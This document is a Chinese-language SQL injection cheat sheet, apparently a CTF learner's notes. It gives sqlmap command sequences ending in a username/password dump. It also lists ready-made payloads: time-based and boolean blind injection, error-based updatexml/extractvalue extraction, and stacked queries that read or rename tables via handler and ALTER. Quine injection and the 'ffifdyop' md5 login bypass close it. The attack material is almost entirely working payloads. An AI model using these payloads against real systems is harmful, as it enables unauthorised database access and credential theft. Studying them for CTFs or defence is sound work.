sqlmap

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 数据库名称--tables

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump

常见注入手段

获取tables+databases+version

获取databases+version

使用database()函数和version() 函数

获取 tables

select table_name from information_schema.tables where table_schema=database();     

获取字段

select column_name from information_schema.columns where table_name='xxx' and table_schema=database();

select 被 limit 造成的无回显

选择不存在的value;

limit 0,1

使用group_concat()

select group_concat(xxxx) from xxx  

concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号

手注如何判断sql注入

' 判断有没有对字符处理

and 1=1 判断

时间盲注判断

1'+AND+(SELECT*FROM+(SELECT+SLEEP(5))a)+AND+'1'='1'

其中a为SELECT+SLEEP(5)的别名

盲注常用函数

sleep(n) =– 返回0 命令中断返回1

substr(a,b,c)

count() – 计算总数

ascii() – 返回字符的ascii码

length() – 返回字符串的长度

基于bool的盲注

a' or 1=1

substr

盲注情况下用 substr (变种mid())获取数据

select substr(database(),2,1) = 'q' and sleep(2) 

获取table_name

 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101  --+ 

获取长度

 and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))>1  --+ 

变种mid()

用法和 substr 相同

left()

select left('awaawawa',3) #return awa

ascii

用 ascii() (变种ord) 转换为ascii码

select ascii(substr(database(),2,1)) = 33 and sleep(2);

变种ord

通过length()获取字符串长度

获取database长度

length(database()) = 1 and sleep(1);

rand() 随机数(伪

select rand() from user;
rand(int) #只要int值相等,最后的随机数也相等

floor(x) 返回一个小于x的整数

select floor(1.1)/*1*/,floor(0.99)/*0*/,floor(2.1)/*2*/

报错盲注

updatexml:

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+

被截断

updatexml(1,(mid(concat(0x7e,(select flag from flag limit 0,1),0x7e),0,31)),3) --+

extractvalue


'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23

extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23

extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23

^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23

被截断

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23

堆叠注入

考察堆叠注入


';show tables--+

得到表名


';show columns from `1919810931114514`--+

得到flag字段

最后


1'; handler `1919810931114514` open as `a`; handler `a` read next;#

handler


 mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 ';handler (数据表)  open ;handler (数据表) read first;handler (数据表) close; % 23

rename:

修改一个或多个表的名称

RENAME TABLE old_table_name TO new_table_name;

alert:

向表中添加字段

Alter table [表名] add [列名] 类型

保留old和new列名

列名:a ---->b 列类型
   ALTER TABLE t1 CHANGE a b INTEGER;

由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

Quine注入

参考

主要利用 replace 这个函数

replace(str,old_string,new_string)

REPLACE("间隔符",编码的间隔符,"间隔符")

playload 模板

第一步:

REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str=第一步

eg:

'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

Quine注入说白了就是套娃,导致输入和输出一模一样

神奇字符串绕过

SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘
中使用

ffifdyop经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:’or’6<乱码> 即 'or'66�]��!r,��b

用途:

select * from admin where password=’’or’6<乱码>’

就相当于select * from admin where password=’’or 1 实现sql注入

不光有ffifdyop 还有 129581926211651571912466741651878684928 也可达同样的效果

总之,相当于 select * from admin where password=''or ture


一个好奇的人